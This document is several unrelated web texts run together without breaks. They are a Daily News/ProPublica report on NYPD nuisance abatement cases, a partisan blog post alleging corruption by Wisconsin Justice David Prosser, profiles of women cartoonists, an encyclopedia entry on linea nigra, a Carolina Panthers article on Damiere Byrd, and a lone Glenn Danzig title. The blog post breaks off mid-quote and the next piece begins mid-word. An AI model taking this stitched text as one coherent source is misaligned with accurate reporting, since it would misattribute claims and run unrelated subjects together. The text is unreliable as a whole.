That wasn’t always the case.
Jameelah El-Shabazz, 47, was with her three children at her mother’s house in Harlem when the NYPD served her older son an order closing her Bronx apartment in advance of her first hearing on a nuisance abatement case. Because she wasn’t present, her whole family was shut out.
The NYPD claimed a confidential informant had bought drugs at the home twice, then narcotics officers found 45 paper cups of cocaine during a search.
Although two of her sons had previous run-ins with the police over drugs, the charges that sparked the nuisance abatement action had long been dismissed. Four months before the action was filed, a police lab test on the powder had came back negative. El-Shabazz said it was crushed eggshells used as part of a religious ritual.
It’s unclear if the NYPD lawyer who filed the complaint knew it contained a false statement or that the documents from the criminal investigation should have been sealed.
The attorneys who spoke to the Daily News said the Civil Enforcement Unit did not have a database to check the outcomes of criminal cases, and did not make a practice of reaching out to the prosecutors for this information, in order to ensure their targets had not already been exonerated. This step was not required because a nuisance abatement action can be brought without a conviction or even an arrest. The work of confidential informants and an officer’s allegations are enough.
“The more seamless line is, ‘O.J. Simpson got away with a criminal act but was still found liable in a civil matter,’” said one of the attorneys.
Perhaps as a result, it appears the unit sometimes accesses files it shouldn’t. the Daily News and ProPublica investigation identified nine nuisance abatement actions where sealed documents in criminal cases were filed as exhibits.
There could be many more. The investigation only tracked the outcomes of criminal cases where someone was barred from a home, and the date of dismissal was not given for 73 sealed cases because even that information is supposed to be confidential.
State law requires law enforcement agencies to seal records from dismissed criminal cases in order to protect the rights of defendants cleared of charges.
These records are not supposed to be used against the defendants in future cases, or to deprive them of any right.
But the Daily News’ sources said the NYPD doesn’t actually seal cases after they’ve been dismissed, let alone notify the Civil Enforcement Unit this has happened.
“They’re never sealed, that’s a myth,” said one attorney.
The NYCLU’s Chris Dunn, who won a settlement in a class action lawsuit against the NYPD over their violation of the sealing law, said the new findings that sealed criminal cases have been used to shut people out of their businesses and homes “provides a dramatic example of why we need an independent investigation into the NYPD’s handling of sealed records.”
The attorneys who have worked in the Civil Enforcement Unit told the Daily News they also never requested any corroborating evidence, such as videos or audio recordings of the confidential informant buys, and lab results of drug tests. An NYPD database of nuisance abatement cases obtained via a Freedom of Information request has a column for “labs ordered date,” but the Daily News found that column blank every time.
NYPD officials have repeatedly pointed out that nuisance abatement cases are subject to their own layer of judicial review by a civil court judge. In addition, they say the criminal court judge has already vetted the confidential informant claims used to secure the search warrants that led to the arrests.
But the Daily News and ProPublica identified more than 80 cases against businesses and residences that did not mention a search warrant, arrest or summons. And judges complained to the Daily News that the NYPD lawyers rarely could produce corroborating evidence of confidential informant buys.
The NYPD begins nearly every nuisance abatement action with a secret request to a civil court judge to close the location before the occupants have had a chance to defend themselves.
The Daily News/ ProPublica investigation found judges granted requests for closing orders 75% of the time for residences, although the rate varied widely by judge. NYPD officials have said the surprise orders prevent criminals from destroying evidence or planning to ambush the officers.
But the attorneys who spoke to the Daily News said the orders are also about leverage. “When you get a closing order, there’s way more pressure on the defendants to settle because they just want to get back in there. They’ll do anything, pay anything, to get back in there,” said one attorney.
While the requests for the emergency closures cite “ongoing” illegal activity, they routinely don’t include any evidence of that, even though the Daily News/ProPublica analysis found they come an average of six months after the last alleged incident for residences.
The head of the Civil Enforcement Unit, Robert Messner, said his attorneys “talk to” the officers to see if the location still poses a problem before filing a case. But the lawyers who spoke to the Daily News said there were no rules in place mandating that they check for ongoing illegal activity, and they often never did. They said they went forward even if they weren’t sure anyone was still living there.
“A lot of times we go to a place, a location, after you get an order signed. That place has been shut down and it’s been shut down for months. We just didn’t know about it,” said one attorney. (the Daily News/ProPublica investigation identified scores of cases where orders were served on places that court filings said had already been vacated.)
The city’s nuisance abatement law requires the police who serve the temporary closing order or temporary restraining order to take a photographic inventory of anything used for illegal activity at the location, and to promptly return that inventory to the judge who approved the order. But the attorneys interviewed by the Daily News said they weren’t even aware of this requirement.
And a judge who has signed several such orders was also unaware of the rule and told the Daily News that “never once” have such inventories been provided.
The Daily News and ProPublica did not come across such inventories in the 1,162 cases it reviewed.
As a result of the Daily News/ ProPublica findings, Deputy Chief Administrative Judge Fern Fisher sent an advisory notice to judges on Feb. 1 recommending limiting the granting of requests for closing orders when the evidence is stale or “based on statements with multiple layers of hearsay and with unidentified confidential informants.”
The two attorneys who spoke to the Daily News said the detective making the allegations isn’t always present when affidavits in their names are written up. They said attorneys use the property clerk vouchers and any other documents to fill in the blanks on “templates” from previous nuisance abatement filings.
In fact, one civil enforcement attorney, Evan Gluck, admitted during a 2011 deposition that he falsely notarized affidavits in up to 20 cases by allowing the detectives to sign them while not in his presence. Gluck said his supervisor was aware of this in at least two instances. They were both granted immunity in that case by a judge as “prosecutors performing duties related to their prosecutorial function,” and still handle nuisance abatement cases for the NYPD.
Gluck said in his deposition that he received no official training on the cases and was only a few years out of law school when he started doing them. He said he was given an “outdated” internal memorandum on nuisance abatement to peruse in his free time, sample cases that had already been filed to use as templates, and “verbal directives” from his boss on cases he was working on.
The two attorneys who spoke to the Daily News also said they didn’t receive a manual or formal training on how to properly apply the nuisance abatement law.
The NYPD’s Patrol Guide, which contains detailed rules that officers must follow when they carry out their duties, also has no section on nuisance abatement cases, even though there is a nine-page section on the Padlock Law, which is a similar statute with far stricter requirements that Messner estimated the department hasn’t used for 15 years.
Sarah Ryley is the data projects editor and an investigative reporter at the New York Daily News. You can email her at [email protected]The hornets' nest of corruption binding the embattled WI Supreme Court Justice with Scott Jensen, Kathy Nickolaus and the criminal misuse of state employees for partisan gain...
Ernest A. Canning Byon 4/25/2011, 11:58am PT
Guest blogged by Ernest A. Canning with Brad Friedman
"This was a decisive election about judicial independence," WI Supreme Court Justice David Prosser said at a press conference in Madison last Monday, declaring victory and explaining his opposition to a recount of the April 5th Wisconsin Supreme Court election.
"The people realized that judges should be much more than partisan politicians who wear black robes. Judges should be impartial in theory and in fact. They should faithfully apply the law without fear, and without favor," he told the assembled media.
However, as an investigation by The BRAD BLOG reveals, there is a stunning gap between the lofty ideals of "independence" espoused by the incumbent Justice as quoted above, and the sordid reality of his own personal record as a hard-Right partisan official in Wisconsin, with the state's GOP caucus, and even during his role as a justice on the state's highest court.
It is a reality, well-documented through court records and other sources, finding Prosser and his former Republican colleagues in the WI Assembly enmeshed in a criminal scheme to utilize state employees and resources at taxpayer expense in order to finance and organize WI GOP political campaigns. A reality which includes an astounding legal filing by this same sitting Supreme Court Justice in which he not only acted as an advocate for the accused, but even confessed to his own participation in the alleged crime.
In short, it's a reality which led The BRAD BLOG to wonder whether Prosser was truly better characterized as an 'independent' jurist, as per his self-description, or a partisan criminal in a robe...
A Cautionary Note
Readers would be wise to avoid the conclusion that involvement in political corruption turns upon whether a politician places a (D) or an (R) at the end of their name, though there does seem to be a significant difference between (D) and (R) when a crooked politician is convicted and sentenced in the Badger state.
Two Democrats, former state Senators Charles Chvala and Brian Burke, faced multiple felony charges for misconduct in office similar to that discussed in this article.
Burke, a former co-chair of the Legislature's Joint Finance Committee, was prosecuted by the then Dane County DA, now elected Justice of the Court of Appeal, Brian Blanchard (D). On Nov. 30, 2005, Burke was "sentenced to six months in jail and ordered to pay almost $88,000 in fines for using his office to run his failed bid for attorney general," according to Channel 3000.com.
Channel 3000.com also reported that on Oct. 25, 2005, Chvala pleaded guilty to two of 19 felony counts. He was "sentenced to nine months in Dane County Jail and two years probation."
Neither does this article mean to suggest that political corruption is limited to elected officials --- a point that was underscored when the Badger Herald News recently reported that "Wisconsin & Southern Railroad CEO William Gardner will plead guilty to...felonies after he violated two state laws" related to illegal campaign contributions made to Gov. Scott Walker (R) and other Republicans.
Our focus here is on the direct links between Supreme Court Justice David Prosser, his former Republican Assembly colleagues and those in the state's Assembly Republican Caucus (ARC) --- including Kathy Nickolaus who now serves as County Clerk of Waukesha County --- and their involvement in the criminal misuse of state resources and state employees for partisan political gain.
The BRAD BLOG found no similar links between past political corruption scandals and Prosser's opponent in the contested election for the supposedly non-partisan position of WI Supreme Court Justice, Asst. Attorney General JoAnne Kloppenburg, who, by the way, is neither a Republican nor a Democrat. She is an avowed independent.
The 2002 Criminal Complaint
Prosser represented the state Republican party as the WI Assembly's minority leader from 1989 to 1994 and then as speaker in 1995 and 1996. Scott Jensen (R-Waukesha), who would ultimately become the speaker himself, served as Prosser's number two man in the Assembly during Prosser's term as speaker.
After reviewing accounts of an extraordinary court filing in which a sitting Supreme Court Justice, David Prosser, acted as an advocate for Jensen, who was accused of political crimes, The BRAD BLOG felt it appropriate to review pertinent court documents and decisions from the State of Wisconsin vs. Jensen case in which Prosser played a remarkable key role.
The case began in October 2002 when David Collins, Director of the White Collar Crimes Bureau for the Wisconsin Department of Justice’s Division of Criminal Investigation submitted a five-count criminal complaint [PDF].
Jensen was charged with three felony counts involving misconduct in office in his "hiring, retaining and supervising" several state employees to assist in organizing and funding political campaigns while the employees were compensated as state employees and for using state resources toward the same. Republican Assembly Majority Leader Steven Foti was charged in one of those felony counts, and one of the state employees, Sherry L. Schultz, was charged in another. The fifth count charged Jensen and Republican Assemblywoman Bonnie Ladwig with a misdemeanor violation in having "intentionally used their public positions...to obtain financial gain for the private benefit of an organization with which they were each associated, namely the Republican Assembly Campaign Committee."
Misuse of State Employees, Resources for Partisan Political Gain
Collins did not end the complaint with the charging paragraphs. Instead, he laid out a powerful case by summarizing multiple witness statements obtained by state investigators, including Jensen's statement.
The core of the alleged criminal enterprise centered on the Assembly Republican Caucus, which was staffed by state employees.
Charles Sanders, Chief Clerk of the WI State Assembly (1971 to 2001), told investigators that the "partisan caucuses were created to assist legislators with speech writing, letter writing, bill drafting, and other services to support legislators."
Sanders, and his successor, concurred that both Assembly Rules and state statutes prohibited caucus staff "from using state property and facilities for political campaign activity and from engaging in political campaign work while on state time and during working hours." That assessment was bolstered not only by a 1978 WI Ethics Board opinion and an 02/27/97 email to all state employees by former Assembly Speaker Ben Brancel, but by Scott Jensen himself.
Jensen told state investigators "State employees should not raise or discuss raising campaign money at all on State time", according to the criminal complaint.
Jensen's admission, as will be shown below, is manifestly inconsistent with the position both his legal team and even Justice Prosser himself would later take in an extraordinary pretrial motion.
Jensen claimed he did not know what job duties his co-defendant Sherry Schultz performed. The statements of numerous witnesses interviewed by state investigators reveal Jensen's claim on that score to be, shall we say, less than candid.
Schultz, according to witnesses, was ostensibly employed by the ARC as a state employee, but worked full time in close consultation with, and under the direction of Jensen on campaign organizing and funding. Her duties included the use of master campaign lists to help determine how Republican Assembly campaign funds would be disbursed to various members.
Jason Kratochwill served as the ARC's Director from 1999-2001. According to the complaint, "Kratochwill estimated that the campaigns of 50 of the 56 Republican members of the State Assembly used the ARC for campaign purposes that included graphic design work."
Kratochwill told investigators that he and Jensen "spoke often and without regard to whether Kratochwill was on State time...dealing with such issues as: recruiting candidates; which districts to do polling in; how to get ARC and legislative staffers to agree to work on particular campaigns; who to run ads for in what medium; how to staff and fund campaigns; what opposition research was needed..."
He said Jensen knew that "ARC employee Kathy Nickolaus developed a campaign finance software program that Nickolaus tried to sell for a profit."
[Yes, that's the same Kathy Nickolaus, now serving as County Clerk in Waukesha County, who announced the addition of 14,000 previously-unreported votes from the city of Brookfield on April 7, 2011, two days after the remarkably close Supreme Court election, turning what had been a razor-thin 204 vote lead for Prosser's challenger JoAnne Kloppenburg into a still thin, but much larger 7500 vote lead for her old colleague from their ARC days.
On April 6, 2011, one day before Nickolaus publicly announced her "discovery," (but on the same day she now "claims" she made that discovery) Wisconsin’s Republican Gov. Scott Walker, announced "there might be 'ballots somewhere, somehow found out of the blue, that weren’t counted before,'" according to a complaint [PDF] filed with the WI Government Accountability Board (GAB), by Asst. Attorney General Kloppenburg's campaign manager, Melissa Mulliken. On that same day, according to the complaint, Prosser met privately with Walker in his office, though the Justice vehemently denies that allegation.
This is also the same Kathy Nickolaus who is currently the subject of another investigation by the GAB for election irregularities in Waukesha County going back five years. Those irregularities include her own election reports stating that some 20,000 more votes than "ballots cast" were tallied by Nickolaus in the county's 2006 general election, and a remarkable 97.63% voter turnout for the 2004 Presidential election. She was also the subject of an independent audit commissioned by the county's Executive Committee after it was discovered she kept all of the counties election results on a personal computer available only in her own office.]
But back to the 2002 complaint which states that Kratochwill said he prepared proposals for Jensen and Ladwig that contained "phony" numbers to suggest that ARC employees were off working part-time on campaigns. For example, a Jensen office staffer "was listed as being off of the State payroll 50%" but "Jensen knew that [the staffer] was working on a campaign 100% of the time."
ARC employee Paul Tessmer compiled a "master voter list for use in campaigns." Tessmer told investigators that in early 1999 he was asked "to create a campaign finance computer software program...for use by Jensen. Some legislators were then using a prior existing, but ineffective, campaign finance report software program prepared by Kathy Nickolaus..."
Tessmer admitted he did not disclose the use of the software to the Elections Board "because he felt it was an advantage to Republicans to have exclusive use of it."
Tessmer's admission that the program was concealed from the Election Board for exclusive use by the GOP is at odds with the claim later made by Nickolaus, who earned $54,000/year as an ARC data analyst and computer specialist, that "she developed the software on her own time because she wanted to sell it to the state elections agency for use in automating state-required campaign reports."
A former co-worker of Nickolaus' during the time both were employed by the Wisconsin Integrated Legislative Information Services (now Legislative Technology Services) told Blog talk radio recently that Nickolaus was "secretive" and "exceptionally partisan":
What struck me though about Kathy was that she was exceptionally partisan. This was supposed to be a non-partisan agency…Kathy was the kind of person, it didn’t matter what you said to her, ah I would say 'I’m going down the street to get a muffin, you want one?' and she would say, 'We have to stop abortions!'
Immunity and Plea Deals
Nickolaus now claims she prepared her apparently deficient campaign finance computer software program on her own time. Yet, in June 2002 AP reported that the WI Ethics Board "was looking into lists of registered voters bought with state money by a former state employee who resigned to run for office." That employee was Kathy Nickolaus, who resigned her state employment on May 10, 2002 and subsequently ran for Waukesha County Clerk.
No problem, said Nickolaus. She didn't obtain those lists for her own use. She obtained them for then Assembly Majority Leader Steve Foti who "said lawmakers routinely use the voter lists for legitimate state business," according to AP.
Three months after the AP story broke, the Wisconsin DoJ's Collins filed the criminal complaint which charged the same Steve Foti with a class E felony for misuse of state employees and resources for partisan political gain.
Even if Nickolaus prepared the campaign finance report on the state's dime, she didn't need to fear prosecution. She was granted immunity from criminal charges in exchange for her testimony in the Jensen case.
Foti was not so fortunate. While he did make a deal with prosecutors to testify against former Assembly Speaker Scott Jensen (R) and his aide, Sherry L. Shultz, as revealed by a state publication [PDF], Foti's eventual plea agreement included a January 2006 conviction for a misdemeanor ethics violation for having kept a campaign fundraiser on his payroll. His sentence included 60 days in jail.
Ladwig, another Republican member of the WI Assembly named in the 2002 criminal complaint, also agreed to testify as part of a plea bargain. She was convicted in Dec. 2005 "of a misdemeanor ethics violation for legislative staff to obtain private benefit for the Republican Assembly Campaign Committee." Her sentence included 30 days in jail on a work release program.
Sitting Supreme Court Justice Confesses Crime, Advocates for Accused
By March 2006, Justice's Prosser's old colleague Scott Jensen was in dire straits. His former GOP cohorts, Foti and Ladwig turned state's witnesses. A state appellate court expressly rejected the position taken by his legal counsel that the words "legislative activity" in the state's Assembly Employee Handbook meant that ARC employees could engage in political campaign activities at taxpayer expense.
"The Assembly's own rules prohibit the type of conduct in which the defendants allegedly engaged," the court of appeal stated.
Desperate to evade a trial in Democratic-leaning Dane County (Madison, where the state capitol is located), the Jensen legal team submitted one of the most extraordinary court filings this writer has become acquainted with in more than 33 years of practicing law.
As reported by Dee J. Hall of the Wisconsin Journal, Jensen's brief revealed that Supreme Court Justice David Prosser --- who was, by then, immune from prosecution for the same crimes due to the statute of limitations --- was prepared to testify on Jensen's behalf.
Hall states [emphasis in original]:
Prosser |
ek, Barry was able to reach out to a new comics reader who was looking for more complex and challenging works than those that were being written for the everyday newspaper. Running for two decades and syndicated across North America in various alternative weeklies, in juxtaposition to the underground comics which remained fairly isolated to a particular community and its creators, Barry’s work and voice reached all sorts of people and places while allowing her the ability to freely express herself in a new and growing form.
As her popularity grew and the alternative weekly scene and comics changed, Barry would further grow with it, becoming not only a comics creator, but an illustrator, writer, playwright, and teacher. Using the comics form, she experimented with collage and illustration as a means to get her voice and story across. If that meant adapting her illustrated novel The Good Times are Killing Me into an off-Broadway play, so be it. It was the drive to express herself and her creativity that allowed Barry’s works to permeate a variety of audiences and ultimately act as inspiration for other contemporary comics creators.
In 2009 Barry won the prestigious Eisner Award and R.R. Donnelly Award for her graphic novel What It Is. A memoir, a graphic novel, a piece of literature, and an instructional workbook for a new generation of creators to find and express themselves through the comics medium, What It Is represents explicitly who Barry is in the motley world of comics today—a creator, an educator, and an inspiration for an industry in motion and change.
—Contributing Editor Caitlin McCabe
Julie Doucet
Julie Doucet grew up in Montreal, where she attended an all-girls Catholic high school and later obtained a degree in printing arts from Université du Québec à Montréal. In the late 1980s she began working with experimental comics, including her fanzine Dirty Plotte which was originally self-published but was picked up by Drawn & Quarterly in 1991. That series, says D+Q on its Julie Doucet page, “changed the landscape of alternative cartooning, offering a frank, funny, and sometimes shocking melange of dreams, diaries, and stories.”
The 1990s were literally dynamic years for Doucet, as she moved from Montreal to New York to Seattle to Berlin and finally back to Montreal in 1998. Her time in New York, she says drily on her website, “didn’t go too well” and was chronicled in My New York Diary in 1999. During those years Drawn & Quarterly also published two collections of her strips which had originally appeared in alt-weeklies and other periodicals. After returning to her hometown, she ended Dirty Plotte and started a new strip about life in Montreal called The Madame Paul Affair, which was published in collective form in 2000.
After that, Doucet declared that she was done with the comics format—too much work for not enough money, she says—and has since thrown herself into an astounding variety of other artforms including silkscreen printmaking, collage poetry, animation, and papier-mâché sculpture, all tinged with the same wry humor and bustling energy that fans know from her earlier work. She still lives in Montreal, where she now publishes her own work through her press Le Pantalitaire and is deeply involved in the arts community, often exhibiting locally as well as internationally.
—Contributing Editor Maren Williams
Carol Lay
Carol Lay grew up in Orange County, California during the 1950s, a time and place where she says “the normality was mind-numbing.” She was able to step outside the mundane somewhat through TV shows like The Twilight Zone and Alfred Hitchcock Presents, but didn’t fully escape it until she attended UCLA, where she “discovered Frank Zappa and Zap Comix in the first week.” Lay had a wide variety of interests but majored in Fine Arts, although she was already frustrated with the field before she finished her degree. After college she created some parodic pastiches of well-known paintings (“The Persistence of Kat Klocks,” for instance), but was drawn to the practical discipline of commercial art. She worked in ad design for a few years until she hit upon the idea of creating comics, which she says suited her “skills and interests in drawing, storytelling, logic, and complex puzzle solving.”
Lay got her start in the industry through lettering, then took on various jobs at independent and mainstream comics publishers including DC, Marvel, Hanna-Barbera, and Western Publishing. Meanwhile she also continued in commercial art and illustration for Mattel, and drew storyboards for both live-action and animated films. She was also able to express her more surreal sensibilities through her own independent comic Good Girls, a parody of romance comics that features an heiress who was adopted by an African tribe as an infant and received drastic facial modifications.
Throughout the 1990s and 2000s, Lay found her niche with her strip Story Minute, which later became Way Lay and appeared on Salon.com as well as in several other U.S. and international periodicals. These strips featured complete slice-of-life short stories economically packed into a page or half-page of panels, featuring characters who often wore sheepish sideways grins. Lay also delved into journalism and memoir via comics, as when she illustrated her experiences at Burning Man and the pinup convention Glamourcon. In 2008 she published a pragmatic and honest graphic memoir of her weight loss called The Big Skinny: How I Changed My Fattitude. In January 2015 Lay launched a new online strip, Lay Lines, which mixes new content with newly-colored versions of her older work. She also recently crowdfunded a new book, Murderville #1: A Farewell to Armories, in which “a semi-retired mobster and his family face down a sexy villain on a quaint Maine island.”
—Contributing Editor Maren Williams
Aline Kominsky-Crumb
San Francisco in the 1960s and ’70s was the place to be if you were a cartoonist looking to break away from the regulations imposed on the comics industry by the Comics Code and find a public space to freely express yourself. The underground comix movement was in full force and a truly unique voice full of spit and spunk emerged from this band of creators in Aline Kominsky-Crumb.
Born Aline Goldsmith, Kominsky-Crumb was one of the expatriates of New York and mainstream comics who migrated to San Francisco to find a new arena for their works. Alongside Trina Robbins, Lee Marrs, and a handful of other women, Kominsky-Crumb would become a founder and contributor to the longest running all-women comix anthology, Wimmen’s Comix. Like most underground creators her gritty art and unabashedly honest narrative style complemented her equally honest approach to life. Kominsky-Crumb utilized the comics form to test social boundaries, push buttons, and get in readers’ faces. It is her free and unrestrained voice and style that made her not only one of the most prominent creators in the underground, but also one of the most influential creators for the future alternative and independent comics scenes.
When she wasn’t contributing to Wimmen’s Comix, a publication by women for women, she was contributing to other underground anthologies including Robert Crumb’s Weirdo which reached a whole other kind of reader. When she wasn’t doing work for other people’s books she was making her own. Together with Diane Noomin she created Twisted Sisters, which took the underground in a whole new direction for women creators and women readers. Unlike Wimmen’s Comix whose central theme was the empowerment of women, Twisted Sisters showed women as they were with all of their mortal flaws and desires. In a University of Florida conference in 2003 Noomin recalled, “Basically, we felt that our type of humor was self-deprecating and ironic and that what they were pushing for in the name of feminism and political correctness was a sort of self-aggrandizing and idealistic view of women as a super-race. We preferred to have our flaws and show them.”
Featuring gritty art, gritty stories, and gritty women, Aline Kominsky-Crumb’s work in the underground truly was work for a whole other kind of woman. Not to be held back by any kind of boundary—gender, ethnic, social, and so on—Kominsky-Crumb has not only worked with many of the industry’s greats, but has accumulated a portfolio that could be the poster child for freedom of expression. Her unabashed approach to comics, and ultimately freedom of speech as well, is what has made Kominsky-Crumb a leading and highly influential voice for a whole new generation of creator.
—Contributing Editor Caitlin McCabe
Sue Coe
Sue Coe grew up next to a slaughterhouse, a circumstance that has had a profound impact on her career as an artist. In witnessing the horrors of factory farming, Coe decided that her work should bring to light the atrocities in the world around us. Her stark and sobering work isn’t just limited to farms — Coe has used art to address the horrors of apartheid, systemic racism, HIV, war, and terrorism.
Born in 1951 in England, Coe moved to the United States in 1972. Her highly political work has been featured in The New York Times, The Nation, Entertainment Weekly, The Progressive, The New Yorker, Rolling Stone, Artforum, and several other publications. Coe uses various media, including paint, collage, drawing, and more, but she considers herself more a journalist than an artist. She uses her artwork to address social issues, often juxtaposing victims and perpetrators in evocative and impactful ways, conveying dreadful events in a way that cannot be ignored by the viewer.
Because Coe’s work is so powerful, it has occasionally run afoul of censors. “The Rape of Rosa Velez,” which depicts the gang rape of a woman on a pool table, has been attacked on a few occasions. When Coe drew it for an assignment for Boston Magazine, the publication cropped the final image, removing much of the artwork’s impact in doing so. In 1984, British censors shut down a portion of an exhibition at Ferens Gallery in the UK for displaying the piece.
Regardless of the attempts to censor her, Coe continues to create work that makes a statement, and she does extensive research for her pieces. For Dead Meat (1996), which collects many of her pieces about factory farms and slaughterhouses, Coe visited stockyards, meatpacking plants, dairies, and chicken farms. The same research has influenced the pieces in her subsequent publications Sheep of Fools (2005) and Cruel (2012). Coe remains adamant that artwork should be used to address the cruelty of the world around us.
–Editorial Director Betsy Gomez
Claire Bretécher
Claire Bretécher grew up in Nantes, France, but left for Paris as soon as she reached adulthood. Although her background was in Fine Arts, she abandoned that pursuit upon finding that comics—her first love—were “persona non grata” in highbrow art. After a few years contributing illustrations to various magazines, she made her big break into the industry by drawing the René Goscinny-authored series Facteur Rhésus in 1963. Throughout the rest of the 1960s—years of particularly dramatic social upheaval in France—she contributed mostly to three comic magazines that were then in their heyday: Spirou, Pilote, and Tintin (which prominently featured Hergé’s boy reporter but also included other series).
In 1969 Bretécher created one of her most well-known characters: Cellulite, a quasi-medieval princess and acerbic feminist. A few years later Bretécher was one of the founders of the adult-oriented comic magazine L’Echo des Savanes, but she left in 1973 for a regular spot in the news weekly Le Nouvel Observateur, where she set about dissecting French society in a comic that became known as La Page des Frustrés. There she gained admirers such as the cultural critic Roland Barthes, who dubbed her “the best sociologist of the year” in 1976. Around the same time National Lampoon also collected some of her works into an English-language edition, and a review in The Comics Journal called Bretécher’s work “probably the most palatable gallic import since champagne.”
In the 1980s Bretécher self-published several albums, including a controversially irreverent comic biography of Saint Theresa of Avila. Then in 1988 she created another character that became a well-loved French icon: Agrippine, the quintessentially dissatisfied teenager and rebellious daughter of aging leftists. Through Cellulite and Agrippine, Bretécher lovingly skewered what she considered to be the excesses of two causes she nonetheless believed in: feminism and the leftist movement that flowered in May 1968 but leaves its mark on French society to this day. Bretécher has retired from comics, but her enduring influence is evident in France and beyond—from the licensed Agrippine merchandise that proliferates in European novelty shops, to the asteroid that received her name in 2006.
—Contributing Editor Maren Williams
Carol Swain
Carol Swain was born in London in 1962, but spent most of her younger life in a remote village in Wales. Wales is a frequent setting in Swain’s work, which embraces themes of alienation, absurdity, grief, skepticism, discovery, faith, hope, and epiphany. Trained as a painter, Swain’s charcoal and pencil-based comics and graphic novels have been highly acclaimed by various publications, including Time, Time Out, Publishers Weekly, and more.
Swain’s bibliography is almost as spare as her artwork, making each new book she publishes a rare treat for readers. Her foray into comics began in 1989 with her self-published Way Out Strips, and she released a short graphic novel, Invasion of the Mind Sappers, in 1996. In 2004, Swain released Foodboy, an acclaimed study of friendship and how the bonds among friends are tested by adolescence and time. Crossing the Empty Quarter (2009) collects more than 30 short stories from throughout Swain’s career, which range from slight portraits to visually epic poems, a testament to Swain’s dynamic storytelling skill. In 2009, Swain released Giraffes in My Hair, a study of misspent youth during the tumultuous 1960s and 1970s, written by her partner Bruce Palley. Finally, late last year, Swain released Gast, an absurdist murder mystery that centers on a lonely girl and a cast of talking animals.
Swain’s work is restrained, with a lyricism that can be difficult to define verbally but feels at once intimately familiar to the reader. Swain employs regimented panel layouts, and the format lends a finished quality to any story she creates, as if each panel emerged fully formed as a note in a much larger symphony. The appeal of her stories can come as much from the spaces that aren’t filled, both visually and conceptually, enabling the reader to engage personally with any story Swain commits to the page.
–Editorial Director Betsy Gomez
Help support CBLDF’s important First Amendment work in 2015 by visiting the Rewards Zone, making a donation, or becoming a member of CBLDF!Linea nigra as seen in a pregnant woman
Linea nigra (Latin for "black line"), often referred to as a pregnancy line, is a linear hyperpigmentation that commonly appears on the abdomen.[1] The brownish streak is usually about a centimeter in width. The line runs vertically along the midline of the abdomen from the pubis to the umbilicus, but can also run from the pubis to the top of the abdomen.[2]
For pregnant women, linea nigra is attributed to increased melanocyte-stimulating hormone made by the placenta,[3] which also causes melasma and darkened nipples. Fair-skinned women show this phenomenon less often than women with darker pigmentation.[4] Linea nigra typically disappears within a few months after delivery.
Although linea nigra is rarely discussed outside pregnancy, males and females of all ages may have it. Except in pregnancy, both genders have highest and equal prevalence of linea nigra from age 11 to 15. This increase in prevalence could be the result of hormonal changes during puberty. After age 15, the prevalence of linea nigra in males declines. The prevalence for both genders drops to below 10% after age 30.
Additional images [ edit ]
Woman nurses twins 6 days after birth. The linea nigra is still visible.
A Cesarean section scar (horizontal red line) and linea nigra visible on a 31-year-old woman 7 weeks after childbirth.
See also [ edit ]
References [ edit ]
Media related to Linea nigra at Wikimedia CommonsCarolina Panthers wide receiver Damiere Byrd can fly. The Houston Texan’s defense learned that first-hand during the Carolina Panther’s first preseason game of 2017.
Entering his third year as a Carolina Panther, Damiere Byrd knows his role. After making the 53-man roster last year, Byrd’s confidence grew sky high.
“What happened last year shows that I can make this team. It shows that I can make plays for this team … just continue to be who I am.”
Byrd continued to be the same player he knows he is as he entered his first preseason game of 2017. Going against the Texan’s vaunted defense is no easy task, but Byrd took on the challenge. As a result, he finished the night with four receptions for 98 yards and 2 touchdowns before heading for the sideline in the third quarter.
What stood out was Byrd’s ability to gain separation.
In the above illustration, Damiere Byrd faces off against the Texans corner Robert Nelson Jr. on the outside. He beats the corner and runs horizontally, widening the space between the corner and himself. All Panthers Quarterback Joe Webb has to do is place the ball right in the hands of a wide open Damiere Byrd for an easy touchdown.
One thing the Carolina Panthers offense lacked in 2016 was receivers with the ability to separate. According to Matt Harmon of NFL.com, Panthers QB Cam Newton threw into tight windows the most in the NFL, with 24.9% of his passes going to a receiver with less than a yard of separation. This led to one of Cam Newton’s worst statistical seasons of his career.
Damiere Byrd helps change that. As Byrd’s film shows, he gains an ample amount of separation vertically and horizontally.
On this play, Damiere Byrd appears to be running an out route down deep against the Texans corner. He beats #21 up top on the route and catches a decent pass from Joe Webb. Afterwards, Byrd turns his way forward and gains a small amount of yards after catch.
As seen, Damiere Byrd gains separation vertically and horizontally. Whatever role he’s placed in, Byrd finds a way to get open with separation.
Like former Panthers wide receiver Ted Ginn Jr., Damiere Byrd is a speedy deep burner. According to NFL.com, Damiere Byrd ran a 4.28 on grass at USC’s pro day in 2015. When given the opportunity, Damiere Byrd can outrun any corner down deep with his speed.
Damiere Byrd runs a post route and recognizes a mismatch opportunity. He notices the Texan safety down on the play, leaving him on a one-on-one opportunity with Texan corner Robert Nelson Jr. As a result, Byrd speeds past Nelson Jr. down deep for the touchdown.
Byrd burst with excitement when he talked about his touchdown:
“…I was ready,” Byrd said. “It means a lot to me. Anytime you have a touchdown in this league, it means a lot. I’m happy to be out here.”
An Opportunity To Shine
If the Panthers offense wants to succeed in 2017, they need a reliable deep threat. Without one, the offense’s intermediate/short game options will be limited. The Panthers need someone who can stretch the field and force defensive backs deep down the field, opening up the middle of the field.
Damiere Byrd’s performance for the night demonstrates his potential as a weapon for the Panthers offense. Not only was he the best player on the field, Byrd strengthened his case to make the 53-man roster once again and obtain a larger role as a deep threat.
With Curtis Samuel’s hamstring in question and Ted Ginn Jr. sent off to the Saints, Damiere Byrd has an opportunity to claim that vacant role as a deep threat. Knowing that, Byrd understands he needs to maximize his three years of experience in every opportunity given to him.
“Being in the playbook for three years already I’ve really learned a lot, everything that I need to know to be able to be out there efficiently without thinking and just be able to go out there and play.”
Even so, Damiere Byrd is just grateful to be able to fly like a bird and make plays for the Carolina Panthers.
“It means a lot. It’s a dream of everybody’s to be able to play for an organization as great as this in the NFL. It’s always great to step on the field.”
Agree? Disagree? You can sound off right here with thousands of Carolina Panthers fans.An Essential Guide to Glenn Danzig
Published Aug 30, 2016
